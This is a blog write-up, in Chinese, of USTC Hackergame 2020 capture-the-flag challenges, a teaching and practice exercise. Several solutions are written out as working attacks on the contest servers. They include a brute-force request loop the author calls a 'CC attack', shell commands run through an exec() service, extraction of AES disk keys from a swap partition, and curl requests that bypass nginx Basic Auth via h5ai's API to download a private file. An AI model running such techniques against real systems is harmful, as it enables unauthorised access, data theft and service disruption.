加载中...
USTC Hackergame 2020(中科大信安赛)write up

USTC Hackergame 2020(中科大信安赛)write up

作为一只 CS 零基础、信安零基础、CTF 零基础的菜狐狐,苏卡卡今年又来参加 USTC Hackergame 啦!由于一边做题一边总结思路(指写 Write Up),所以苏卡卡应该是第一个发布非官方的 USTC Hackergame 2020 Write Up 的吧(嘿嘿)。

题图来自 USTC Hackergame 2019「Happy LUG」

签到题

只要提取 1 个 flag 就好啦!可是,为什么这个反人类的 form-control 的步长竟然是 0.00001:

继续看下去会发现,用手是根本不可能拖到 1.00000 的:

不管了,直接点击「提取」:

同时,发现地址栏里的 URL 变成了 http://202.38.93.111:10000/?number=0.84608。那就立刻访问 http://202.38.93.111:10000/?number=1 拿到 flag!

Google 从 Chrome 76 起开始推行 WHATWG URL 规范中的「Simplify non-human-readable or irrelevant components」、即「简化非人类可读或不相关的组件」。不过 Chrome 85 起提供了「Always Show Full URLs」的选项,可以在地址栏上右键后从菜单中开启。

猫咪问答++

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
    Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
    提示:学术上一般认为龙不属于哺乳动物。
  2. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?
    提示:咕咕咕,咕咕咕。
  3. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?
    提示:活动记录会在哪里?
  4. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
    提示:建议身临其境。
  5. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?
    提示:是一个非负整数。

其中,第二题、第三题、第五题的答案分别可以在下述 URL 中找到:

至于第一题要搜索二十几种吉祥物、一不小心还会数错,第四题要去找卫星图像或者街景图,大尾巴狐狸太懒了、不想搜索了!有没有别的方法获取 flag?

第一题给了 23 种编程语言、软件或组织:

"Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce".split(',').length
// 23

至于图书馆前的地上停车位、总不可能超过 100 个吧?

那么,写一个遍历跑第一题和第四题的答案,总会跑出 Flag 的!

for (let i = 1; i < 23; i++) { // 至少有 1 种哺乳动物;既然提示了龙不是哺乳动物,那么肯定不会 23 种前部都是
  for (let j = 0; j < 100; j++) { // 一个停车位都没有的可能性不是没有,遍历时要考虑进去
    const formData = new FormData();
    formData.append('q1', i);
    formData.append('q2', 256);
    formData.append('q3', 9);
    formData.append('q4', j);
    formData.append('q4', 17098);
    fetch('http://202.38.93.111:10001/', {
      body: formData,
      method: 'POST',
    }).then(resp => resp.text()).then(text => {
      if (!text.includes('没有全部答对,不能给你 flag')) {
        console.log(i, j, text);
      }
    });
  }
}

果然,通过对比赛平台的 CC 攻击,很快就把第一题和第四题答案跑出来了:第一题的答案是 12、第四题的答案是 9。输入正确答案提交即可获取 flag。

2048

毫无疑问,这道题如果真的玩到 2048 获取 Flag 是肯定可行的,但是我懒;同样的原因,我也不想对这个网站里每个 JS 都审计一次。既然如此,不如先随便玩玩,看看这道题的 Flag 大概会藏在哪里。

随便乱敲方向键刻意使 Game Over,DevTools 截获了一个 HTTP 请求、是 html_actuator.js 第 164 行发起的:

现在我们直接审计 html_actuator.js 就好了,把发起 AJAX 请求的函数找出来:

HTMLActuator.prototype.message = function (won) {
  var type    = won ? "game-won" : "game-over";
  var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";

  var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

  let request = new XMLHttpRequest();
  request.open('GET', url);
  request.responseType = 'text';

  request.onload = function() {
    document.getElementById("game-message-extra").innerHTML = request.response;
  };

  request.send();

  this.messageContainer.classList.add(type);
  this.messageContainer.getElementsByTagName("p")[0].textContent = message;

  this.clearContainer(this.sharingContainer);
  this.sharingContainer.appendChild(this.scoreTweetButton());
};

看了代码就知道怎么获取 Flag 了,直接 GET /getflxg?my_favorite_fruit=banana 即可。

小彩蛋,在 JavaScript 中字符串类型 String 转换成数字类型 Number 时会得到 NaN,凑成了 banana

一闪而过的 Flag

…… 程序每次运行时隐约可见黑色控制台上有 flag 一闪而过。

……

而你作为一名新生,不由动了恻隐之心。望着诗人潇洒远去的背影,你可以赶在下午诗人回来之前,帮助这位可怜的人,用 flag 装满他的饭盒吗?

打开/下载题目 (Hosted at Internet Archive)

欺负苏卡卡用 macOS 不用 Windows,哼!苏卡卡才不会重启到 Windows 就为了看个 flag 呢,Parallels Desktop 启动!

没有什么是截图解决不了的。。。啊,什么?还要区分 i I 1 l当然是猜 flag 啦

小 Tip,打开 CMD、左上角图标右键、「默认值」,是可以设置「控制台窗口」默认字体和字号的:

改了字体以后,这不就分得清清楚楚啦!

从零开始的记账工具人

如同往常一样,你的 npy 突然丢给你一个购物账单:“我今天买了几个小玩意,你能帮我算一下一共花了多少钱吗?”

你心想:又双叒叕要开始吃土了 这不是很简单吗?电子表格里面一拖动就算出来了

只不过拿到账单之后你才注意到,似乎是为了剁手时更加的安心,这次的账单上面的金额全使用了中文大写数字

注意:请将账单总金额保留小数点后两位,放在 flag{} 中提交,例如总金额为 123.45 元时,你需要提交 flag{123.45}

这道题上来继续欺负苏卡卡没有在 macOS 上安装 Office,大尾巴狐狸非常生气。你看 npm 上这个能解析 xlsx 文件的 SheetJS、大写数字转小写的 nzh 还蛮好用的。Node.js 代码如下:

const XLSX = require('xlsx'); // 解析 xlsx 用
const NzhCN = require('nzh/cn'); // 大写数字转小写

const xlsx = XLSX.readFile('./bills.xlsx'); // 当然你要先把 xlsx 文件下载下来
const data = XLSX.utils.sheet_to_json(xlsx.Sheets[xlsx.SheetNames[0]]);
let count = 0;

data.forEach(row => {
  const moneyData = { yuan: 0, jiao: 0, fen: 0 };

  // nzh 不支持处理金额,需要自己实现一个
  let tmp;
  [['元', 'yuan'], ['角', 'jiao'], ['分', 'fen']].forEach(([i, dataKey]) => {
    tmp = (tmp || row['单价']).split(i);
    if (tmp.length === 1) {
      tmp = tmp[0]
    } else {
      moneyData[dataKey] = NzhCN.decodeB(tmp[0]);
      tmp = tmp[1]
    }
  });
  // 处理金额时,要小心浮点数大坑哟
  const value = moneyData.yuan * 100 + moneyData.jiao * 10 + moneyData.fen;
  count = count + value * row['数量'];
});

console.log(`flag{${(count/100).toFixed(2)}}`); // 直接打印 flag

超简单的世界模拟器

……

你的任务是在生命游戏的世界中,复现出蝴蝶扇动翅膀,引起大洋彼岸风暴的效应。

通过改变左上角 15x15 的区域,在游戏演化 200 代之后,如果被特殊标注的正方形内的细胞被“清除”,你将会得到对应的 flag:

“清除”任意一个正方形,你将会得到第一个 flag。同时“清除”两个正方形,你将会得到第二个 flag。

在 Google 上搜索「生命游戏」,找到了一个知乎提问和 Conway Life Game Wiki。大概了解康威生命游戏是什么后就理解了题目的要求:要在 15x15 的范围内构建一个生命游戏图形、在演化到 200 代之后会清除两个种群。

第一个 Payload 是一艘最简单的会向右平移「飞船」(这个图形在知乎或是 Life Game Wiki 上都可以被轻易找到),可以直接摧毁第一个种群:

0
0
0
0011
01111
011011
00011

第二个 Payload 是我一不小心试出来的,由一个平移的「飞船」和一个沿着斜对角线行走的「滑翔者」共同组成,他们会「擦弹」引发「大爆炸」,在 80 代左右摧毁第一个种群、在 160 代左右摧毁第二个种群:

0
0
0
0011
01111
011011
00011
0
0
001
101
011

从零开始的火星文生活

……

L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文……

L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?

注:正确的 flag 全部由 ASCII 字符组成!

这种 GBK、UTF-8 之间的火星文编码问题,直接给一个 Unix 下的 万能解法

cat gibberish_message.txt | iconv -f utf8 -t gbk | iconv -f utf8 -t latin1 | iconv -f gbk -t utf8

剩下要做的,就是把全角转换成半角了。

自复读的复读机

能够复读其他程序输出的程序只是普通的复读机。

顶尖的复读机还应该能复读出自己的源代码。

什么是国际复读机啊(战术后仰)

你现在需要编写两个只有一行 Python 代码的顶尖复读机:

  • 其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
  • 另一个是输出代码本身的 sha256 哈希值,十六进制小写

满足两个条件分别对应了两个 flag。

快来开始你的复读吧~

访问题目,输出的提示信息是:

Your one line python code to exec():

什么,可以 exec() 啊?那大尾巴狐狸直接干坏事了:

Your one line python code to exec(): import os; os.system("ls")

发现目录下面有一个 checker.py 和一个 runner.py。接着用 os.system("cat *.py") 获得题目源码:

# checker.py
import subprocess
import hashlib

if __name__ == "__main__":
    code = input("Your one line python code to exec(): ")
    print()
    if not code:
        print("Code must not be empty")
        exit(-1)
    p = subprocess.run(
        ["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
        input=code.encode(),
        stdout=subprocess.PIPE,
    )

    if p.returncode != 0:
        print()
        print("Your code did not run successfully")
        exit(-1)

    output = p.stdout.decode()

    print("Your code is:")
    print(repr(code))
    print()
    print("Output of your code is:")
    print(repr(output))
    print()

    print("Checking reversed(code) == output")
    if code[::-1] == output:
        print(open("/root/flag1").read())
    else:
        print("Failed!")
    print()

    print("Checking sha256(code) == output")
    if hashlib.sha256(code.encode()).hexdigest() == output:
        print(open("/root/flag2").read())
    else:
        print("Failed!")

# runner.py
exec(input())

不要想着直接 exec() 偷 flag 了,你以为这比赛是 ylb 搞的啊?

可以看到「反向复读」的检查中使用了 [::-1] 倒序,所以在构造反向复读的语句中也应该使用 [::-1]

首先是构建正向复读的语句,在 Google 中 盲目 搜索的过程中确定了关键词「Quine Python」、找到了 这个网站,介绍了如下语句:

_='_=%r;print (_%%_)';print (_%_)

那个网站也给出了这个语句的详细解释,不过简单来说,我们利用了 print 字符格式化、通过 %r(当然也可以用 %s)获得 _ 变量的取值;而在 _ 变量中使用了 %% 防止 % 被转义。

既然有了正向复读,稍加改动即可得到反向复读。首先在 print(_&_) 中加上 [::-1] 获得倒叙,同时也要对应修改 _ 变量:

_=')]1-::[_%%_(tnirp;%r=_';print(_%_[::-1])

信心满满地去提交,结果 Check Failed,发现 print 在结尾带上了换行符。所以再为 print再加上 end="" 即可:

_=')""=dne,]1-::[_%%_(tnirp;%r=_';print(_%_[::-1],end="")

成功获得第一个 flag。

233 同学的字符串工具

233 同学最近刚刚学会了 Python 的字符串操作,于是写了两个小程序运行在自己的服务器上。这个工具提供两个功能:

  • 字符串大写工具
  • UTF-7 到 UTF-8 转换工具

除了点击下方的打开题目按钮使用网页终端,你也可以通过 nc 202.38.93.111 10233 命令连接到 233 同学的服务上。你可以在这里看到 233 同学的源代码: string_tool.py

这一道题我先拿到了第二个 flag 后才拿到了第一个 flag。首先在 www.string-function.com 这个网站上找到了 UTF-7 和 ASCII 编码互换表: UTF-7 => ASCII ASCII => UTF-7,照着表(加上一些简单的推算)将 flag 编码成 +AGYAbABhAGc-、成功拿到第二个 flag。

获得第二个 flag 以后,决定根据相同的思路去查 Unicode sheet,但是直到后来经过提醒才想起来有「合字」这种神奇的存在,最终利用 U+FB02 构造出 Payload 获得第一个 flag。

233 同学的 Docker

233 同学在软工课上学到了 Docker 这种方便的东西,于是给自己的字符串工具项目写了一个 Dockerfile。

但是 233 同学突然发现它不小心把一个私密文件(flag.txt)打包进去了,于是写了一行命令删掉这个文件。

「既然已经删掉了,应该不会被人找出来吧?」233 想道。

首先让我们 看看这个 Docker Image 是怎么构建的(不需要用 image 反推 Dockerfile 这种奇技淫巧,DockerHub 可以直接查看 Public 的 Docker Images 的构建过程),可以发现 233 同学首先把所有文件都添加到 Docker Image 中、再通过 /bin/sh -c rm /code/flag.txt 删除了 flag.txt

由于 Docker Image 在构建时每一个 RUN 都会新建一个 Layer,因此即使 233 同学通过 RUN 删掉了 flag.txt,flag 肯定还存在于某个地方,而且「某个地方」就包括本机的 /var/lib/docker/overlay2

$ docker run 8b8d3c8324c7/stringtool # 下载执行 8b8d3c8324c7/stringtool
[Redacted]
Nothing here... # Docker Image 执行的输出
$ cd /var/lib/docker/overlay2
$ find -name flag.txt
./befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/flag.txt
./8c07cc3c01c52b8cf0684518e68a31bfb1f843392f973fef9add587d554c6fab/diff/code/flag.txt
# Duang,flag.txt 它出现了
$ cd befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/
$ cat flag.txt
# flag 到手,嘿嘿

从零开始的 HTTP 链接

众所周知,数组下标应当从 0 开始。

同样的,TCP 端口也应当从 0 开始。为了实践这一点,我们把一个网站架设在服务器的 0 号端口上。

你能成功连接到 0 号端口并拿到 flag 吗?

点击下面的打开题目按钮是无法打开网页的,因为普通的浏览器会认为这是无效地址。

TCP/IP 中「端口」这个概念,甚至早于互联网的发明:早在 ARPANET 网中的供电协议中就有 8 个比特用于决定应该由计算机上的哪个程序接收该信息(当时这 8 个比特被称为 AEN、Another Eight Numbers),可以参考我之前翻译的一篇文章「URL 的历史」。现在 TCP 的端口共有 16 个比特(最大支持到 65535)。其中,端口 0 作为保留端口,所以依然是可用的。虽然部分浏览器无法访问,这并不意味着 netcat 不能访问,对吧!

当然这道题有几个坑点:

  1. 现有发行版中分发的 netcat 都不是「原版」的,试图连接 Port 0 会报「Invalid Port」。因此可以选择直接手撸 Socket、或者更换另一个版本的 netcat
  2. 就算使用了合适的工具,由于 Darwin 的 XNU Kernel 非常鸡贼地阻止使用端口 0,所以在 macOS 上也依然没法做这道题。我不得不在 codeanywhere 上开了一个 Linux Container 跑这道题。

和 HTTP/2 基于二进制帧不同,HTTP/0.9、HTTP/1.0、HTTP/1.1 协议都是基于明文的,因此可以手敲 Header:

nc 202.38.93.111 0
GET / HTTP/1.1
Host: 202.38.93.111
Connection: close

接着终端里会打印出来一串 HTML、隐约还可以看见 xterm.js,这不就是 Hackergame 的 Web 端做题界面嘛!由于去年在参与 USTC Hackergame 时就研究过这个界面、已经知道交互是通过 /shell 路径下的 WebSocket 连接实现的。因此直接使用 websocat 完成 WebSocket 交互,就和 netcat 一样:

# 如果没有 websocat 的话
$ wget https://github.com/vi/websocat/releases/download/v1.6.0/websocat_nossl_amd64-linux
$ chmod +x websocat_nossl_amd64-linux
# 开始获取 Flag
$ ./websocat_nossl_amd64-linux ws://202.38.93.111:0/shell
Please input your token: [Redacted]
# Flag 到手!

超简陋的 OpenGL 小程序

年轻人的第一个 OpenGL 小程序。

(嗯,有什么被挡住了?)

下载地址 (Hosted at Internet Archive)

由于苏卡卡是参赛的两千多名选手中最菜的那一个、完全不懂 OpenGL、完全不懂图形学,为了做这道题不得不去翻了一下「Learn OpenGL CN」,知道了 VS(Vertex Shader)是顶点着色器、可以处理顶点属性确定形状,和 FS(Fragment Shader)是片段着色器、可以算颜色,然后就开始硬上了。在花了半个小时盲目乱改 VS 的参数后,成功让「犹抱琵琶半遮面」的 flag 露出了右上角:

凭借着漏出来的部分,我成功认出了 lGraphicHappy(233);。剩下的就要靠猜了,我猜过的 flag 有:

  • flag{GraphicHappy(223);} (整体长度都不对)
  • flag{GraphicsHappy(223);}cH 之间还有个类似 c 的字母、那就是 s 了,不过还是不够长)
  • flag{gl_GraphicsHappy(223);} (OpenGL 里不少 gl_ 前缀,加上认出来一个 l,试试看)
  • flag{glGraphicsHappy(223);}lG 之间的距离没那么长,终于猜对了)

这道题的正确解法是利用未被使用的向量 Normal。苏卡卡虽然有注意到 Normal 未被使用过,但是由于完全不会 OpenGL、并不知道怎么添加向量。

这种解法没什么好自豪的,你看这只大尾巴狐狸就是逊啦。

来自未来的信笺

你收到了一封邮件。没有标题,奇奇怪怪的发件人,和一份奇怪的附件。日期显示的是 3020 年 10 月 31 日。

“Send from Arctic.” 正文就只有这一句话。

「谁搞的恶作剧啊……话说这竟然没有被垃圾邮件过滤器过滤掉?」你一边嘟囔着一边解压了附件——只看到一堆二维码图片。

看起来有点意思。你不禁想试试,能否从其中得到什么有意义的东西。

谁会在 1000 年以后从北极给你发一封电子邮件?那当然是 GitHub Archive Program 啦 —— 今年年初,GitHub 将现存的活跃开源项目全部以二维码的形式刻录在胶片上、埋进了北极世界档案馆(AWA,位于斯瓦尔巴群岛一个位于北极冻土之下的废弃煤矿中,和 Global Seed Vault 仅一英里之遥)中。为了做这道题,让我们读一读 GitHub Archive Program 为「后人」提供的指南:

这里摘抄简体中文版指南的一部分内容:

每个二维码由一个个白色或黑色小方块组成,该等小方块几乎占据胶片的整个帧。 使用二维码的原因在于,其比人类可读的文本更紧凑而可靠。 二维码可解码为二进制数据,即一系列 1 和 0。

……

我们可将 TAR 文件嵌套进 TAR 文件,就像在容器中装入另一容器,而这正是大部分存档数据的存储方式。 无论哪个仓库,其外层 TAR 文件都将至少包含如下内容:

  • 一个名为 META 的未压缩元数据文件,其包含仓库名称、帐户名、说明、语言、星数、复刻数
  • 一个名为 COMMITS 的压缩文件(如下所述),包含该仓库有史以来的更改记录
  • 一个名为 repo.tar.xz 的文件,是包含实际仓库内容的压缩 TAR 文件

其它诸如 wiki、gh-page、issue 和 pull request 等元数据也可能包含在不同压缩文件中。

现在我们知道了这些二维码是什么、二维码们中存储了什么数据、数据的格式,接下来就该写一个脚本把所有二维码全部解析出来了:

import zxing
import os

reader = zxing.BarCodeReader()

def parseQRCode(img_path):
    barcode = reader.decode(img_path).encode().decode('ascii')
    try:
        return barcode.raw
    except:
        print(img_path, barcode)
        return ""

def listDirImages(folder):
    imgs = []
    for img_path in os.listdir(folder):
        ext = os.path.splitext(img_path)
        if len(ext) > 1 and ext[1].lower() == ".png":
            imgs.append(img_path)
    imgs.sort()
    return imgs

contents = []
for img in listDirImages("./"):
    contents.extend(parseQRCode(img))

file = "./result.txt"
with open(file, "w") as f:
    for c in contents:
        f.write(c)

这道题对二维码解码库的选择非常关键。zybar 已经八年没有更新,不仅无法处理 Binary Format QRCode、而且还无法识别 00 截断;相比来说,zxing 库的维护非常活跃、因而更为可靠。不过即使使用 py-zxing 也有坑,很快就会看到了。

把脚本丢到二维码目录下执行,跑完了打开 result.txt,看到了 META(一个 openlug/django-common 的 GitHub RESTful API 返回值)、COMMITS,甚至还看到了一条 commit message「There’s no flag in META and COMMITS!」。但是到了 repo.tar.xz 却让我伤破脑筋:zlib 的文件头本应该是 FD 37 7A 58,结果却看到了 EF BF BD 37 7A 58,解压软件一个都认不出来。

这是啥玩意?遇事不决问 Google,结果找到了这个:

[狐狐脏话删除]

接下来就是去魔改 zxing 了。如之前所说,python-zxing 还只是个 Java zxing 的 wrapper,不得不去学了一点 Java 把 zxing 里的 UTF-8 干掉,最终重新解析了一遍二维码、拿到了正确的 repo.tar.xz,解压拿到了 flag。

顺便说一句,做完这道题后有点无聊,开始通过 META 反推原始仓库。原本看到 openlug/nonexist,以为出题人是新建了一个 Private Repo 出的题,但是又看到 fork_countnetwork_count 是 5,所以得出结论这肯定是一个 Public Repo(否则不可能有 Fork)。再根据 Star 数在 30 左右、Watch 数(在 GitHub RESTful API 中通过 subscriber_count 呈现)是 1、语言是 Python, 最后反推出 META 信息源自去年「被泄露的姜戈」的 openlug/django-common,生成 META 的方式就是 curl https://api.github.com/repos/openlug/django-common。结果还被组委会 diss 了,大尾巴狐狐非常不高兴。

狗狗银行

你能在狗狗银行成功薅到羊毛吗?

考虑到题目公告更新提示「本题前端计算存在浮点数导致的计算误差,数字特别极端时显示可能不正确。但后端采用大整数精确计算,只有净资产确实高于 2000 时才会给出 flag」,所以这道题的思路和 前年 USTC Hackergame 2018 的猫咪银行借助 INT64 溢出 肯定是不一样的。

首先观察题目给出的条件:每天都要花 10 块钱吃饭;信用卡利率 0.5%、并且一旦欠款每天利息至少是 10 块钱;储蓄卡利率 0.3%。光从字面上的数字来看似乎这道题做不出来,但是我们知道,阿里蚂蚁金服的「余额宝」产品存在「每天收益不足 1 分钱时按 1 分钱计算」的规则。狗狗银行的储蓄卡利率是否也有类似的规则呢?办一张新的「储蓄卡 3」,从「储蓄卡 1」转 166 块钱到「储蓄卡 3」,「储蓄卡 3」的日利息仍然是 0;再从「储蓄卡 1」转 1 块钱到「储蓄卡 3」使余额变成 167 块,Bingo!现在「储蓄卡 3」的日利息有 1 块钱了。1 / 167 算出来真实的日利率是 0.5988%,比信用卡的利率要高 0.0988%,因此我们可以从信用卡借钱然后赚利息的差价,当然还要考虑到每天至少要净赚 10 块的饭钱、以及信用卡的复利(利滚利)。

接下来就是用脚本连续开一万张卡试图一天拿到 flag,然后,三台备用服务器(一个 IP 上三个端口、三个 Docker)全部 RST 了。。。

之后,题目新增了一条公告:

苏卡卡才不是故意的呢(摇尾巴),苏卡卡只是坏,一天赚 1000 不香嘛;虽然有了 1000 张卡的限制,获取 flag 还是轻而易举的:

(async () => {
  const commonFetchOpt = {
    method: 'POST', mode: 'cors', credentials: 'include',
    headers: {
      Authorization: 'Bearer [选手 Token]',
      'Content-Type': 'application/json; charset=utf-8'
    }
  }

  /**
   * @param {'credit'|'debit'} type
   */
  function createCard(type = 'debit') {
    return fetch('/api/create', {
      body: JSON.stringify({ type }),
      ...commonFetchOpt
    });
  }

  /**
   * @param {Number} from
   * @param {Number} to
   * @param {Number} amount
   */
  function transfer(from, to, amount) {
    return fetch('/api/transfer', {
      body: JSON.stringify({ amount, dst: to, src: from }),
      ...commonFetchOpt
    });
  }

  /**
   * @param {Number} account
   */
  async function eatAndEndTheDay(account) {
    await fetch('/api/eat', {
      body: JSON.stringify({ account }),
      ...commonFetchOpt
    });
  }

  try {
    // 开一张信用卡
    await createCard('credit');
    // 开 999 张储蓄卡,并给每张新开的储蓄卡转 167 块钱
    for (let i = 3; i < 1002; i++) {
      await createCard('debit');
      await transfer(2, i, 167);
    }
    // 用储蓄卡 1 的初始资金 1000 度过 14 天
    for (let i = 0; i < 14; i++) {
      await eatAndEndTheDay(1);
    }
    // 14 天肯定能赚够 1000 块钱了,该获取 flag 了
    const req = await fetch('/api/user', { ...commonFetchOpt, method: 'GET' });
    const resp = await req.json();
    console.log(resp.flag);
  } catch (e) {
    console.error(e);
  }
})();

超基础的数理模拟器

……
我们在 Hackergame 2020 的网站上部署了一项超基础的数理模拟器。 作为一名数理基础扎实的同学,你一定能够轻松通过模拟器的测试吧。

打开题目后发现要做 400 道定积分,而且答案还要取小数点后六位:

这道题没有取巧的办法,只有老老实实把 400 道定积分全部做完…..吧?

这么长的定积分谁手算啊,当然是要用 MatLab 来算啦!徒手转换 LaTex 到 MathLab 太麻烦了,写个脚本来做吧:

UserScript 在 这里,好孩子千万不要学习这种方法来解析 LaTex。

室友的加密硬盘

「我的家目录是 512 位 AES 加密的,就算电脑给别人我的秘密也不会泄漏……」你的室友在借你看他装着 Linux 的新电脑时这么说道。你不信,于是偷偷从 U 盘启动,拷出了他硬盘的一部分内容。

打开/下载题目 (Hosted at Internet Archive)

苏卡卡一开始试图把镜像直接挂载在虚拟机上,结果无法启动系统;于是先起了一个 Linux 虚拟机、在 Linux 下将 img 转换为 vmdk 再添加到虚拟机中,结果依然提示「未找到已安装的操作系统或操作系统安装器」。

中国民航于 1992 年在《中国民用航空局关于确保飞行安全的命令》文件中提出了 54 个字「八该一反对」,其中最重要的就是「反对盲目蛮干」

既然通过 img 文件直接启动没有成功,不如先看看这个 img 文件都有什么:

不要在意这个 Ubuntu Kylin,最近狐狐在虚拟机里各种体验各种「国产 Linux 发行版」,虚拟机里正好有 Ubuntu Kylin 所以拿来用的。

由于之前阅读过一些通过内存转储破解全盘加密的文章,所以便去下载了 findaes 的源码,编译的同时再去重读之前的几篇文章获取思路。看到几篇文章中都是用 findaes 直接读取 raw 的内存转储,于是决定直接用 findaes 爆破硬盘映像文件。首先把 img 用 7z 解压出来,然后一个一个分区映像跑:

$ ./findaes /path/to/img1.raw

根据题干「我的家目录是 512 位 AES 加密的」,但是 findaes 找到的都是 AES-256,所以需要从中筛选出一对 offset 相差为 256bit 的 key 进行拼接,因此还需要注意一点,由于 Intel x86_64 的 little-endian、拼接 key 时需要倒序拼接。

其实这一点我还是比较熟悉的,安装 Hackintosh 时注入十六进制的设备属性时需要互换 bit 也是因为 little-endian。

剩下的就是一对一对 key 的用 sudo cryptsetup luksAddKey --master-key-file 试过去,直到成功解密为止。最后用 swap 里的最后一对 key 成功解密了分区并拿到了 flag flag{lets_do_A_c01d_b00t_next_time} (下次试试冷启动吧!),直到看到 flag 才明白本题的思路是 Linux 休眠后会把内存写入 swap 分区中(macOS 则是写入硬盘上的 sleepimage 文件中),因此和之前读过的从内存转储破解全盘加密的思路是完全一致的。最后再给大家推荐 Red Hat 知识库的一篇文章「How to recover lost LUKS key or passphrase」。

超简易的网盘服务器

…… 小 C 开始思考技术方案:“听说 h5ai 搭建云盘的方案是不错的 … 使用 Basic Auth 可以做访问控制,可以保护根目录下的文件不被非法的访问 … 等等,有一些文件是可以被分享的,需要一个 /Public 目录来共享文件!”

三分钟后,小 C 同学完成了网盘的搭建。他想:“空着总不好,先得在云盘上放点东西!”。犹豫片刻,他掏出了自己珍藏了三个月的 flag 并上传到了云盘的根目录

这道题我好像是第五个还是第六个解出来的。这道题很多人没做出来还是有点令我惊讶的。

直接访问「根目录」会提示 401 需要 HTTP Basic Authentication,聪明的 小 C 肯定不会把密码直接暴露出来的。访问 /Public目录却发现了 dockerfilenginx.conf 文件。从 dockerfile 中我们可以知道小 C 是怎么搭建的服务,而 nginx.conf 更值得我们关心(已省去无关紧要的部分):

index index.php index.html /_h5ai/public/index.php;

# 根目录是私有目录,使用 basic auth 进行认证,只有我(超极致的小 C)自己可以访问
location / {
    auth_basic "easy h5ai. For visitors, please refer to public directory at `/Public!`";
    auth_basic_user_file /etc/nginx/conf.d/htpasswd;
}

# Public 目录是公开的,任何人都可以访问,便于我给大家分享文件
location /Public {
    allow all;
    index /Public/_h5ai/public/index.php;
}

# PHP 的 fastcgi 配置,将请求转发给 php-fpm
location ~ \.php$ {
         fastcgi_pass   127.0.0.1:9000;
         fastcgi_index  index.php;
         fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
         include        fastcgi_params;
}

由于 Nginx 配置文件不是连续匹配,因此访问 .php 结尾的路径是不会触发 401 HTTP Basic Auth 的(应该没有人会天真地试图获取 /etc/nginx/conf.d/htpassword 吧?)。既然如此,我们为什么不直接访问 h5aiindex.php 呢?首先让我们请求一下 /Public 目录下的 h5ai 后台页面 /Public/_h5ai/public/index.php

curl http://202.38.93.111:10120/Public/_h5ai/public/index.php -I

HTTP/1.1 200 OK

那么「根目录」下的 /_h5ai/public/index.php 呢?

curl http://202.38.93.111:10120/_h5ai/public/index.php -I

HTTP/1.1 200 OK

不出所料,直接访问 index.php 也会返回 200 OK,而不是 401。

虽然直接访问 /_h5ai/public/index.php 不会返回 401,但是 GET 这个路径默认是返回 h5ai 的后台调试页面。由于 h5ai 是开源的、我们可以前往 h5ai 的 GitHub 对其代码进行审计,发现 h5ai 提供了一系列 API,可以通过 POST 请求列出目录内容和下载文件。首先试试能不能用 API 列出根目录下的文件内容:

$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"action":"get","items":{"href":"/","what":1}}' | jq

{
  "items": [
    {
      "href": "/",
      "time": 1603986831000,
      "size": 789419,
      "managed": true,
      "fetched": true
    },
    {
      "href": "/Public/",
      "time": 1603986830000,
      "size": 396458,
      "managed": false,
      "fetched": false
    },
    {
      "href": "/flag.txt",
      "time": 1603489315000,
      "size": 24
    }
  ]
}

诶嘿嘿,我们看到 /flag.txt 啦!接下来就是用 API 下载 flag.txt 文件了:

$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'action=download&as=flag.txt.tar&type=php-tar&baseHref=/&hrefs[0]=/flag.txt' -o flag.txt.tar

$ tar xzf flag.txt.tar
$ cat flag.txt # Flag 到手啦

超安全的代理服务器

在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。

提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。

「浏览器可能会提示该 TLS 证书无效」这句话至关重要。想想看为什么别的题都是通过 HTTP 访问的、唯独这道题要用 HTTPS?什么东西需要 HTTPS 才能工作、在 HTTP 下不工作呢?

虽然 HTTP/2 本身不要求 TLS 实现(例如 H2C、HTTP/2 ClearText)、并且有通过 HTTP/1.1 升级到 HTTP/2 的协商方法(参见 我之前的文章「HTTP/3:HTTP Alternative Services 作为协商方式」中的「HTTP/2 的协商方式」章节 ),但是所有支持 HTTP/2 的浏览器都要求 HTTP/2 必须通过 TLS 传输、并在 Client Hello 中通过 ALPN Protocol 进行协商。扯远了,看看题目。

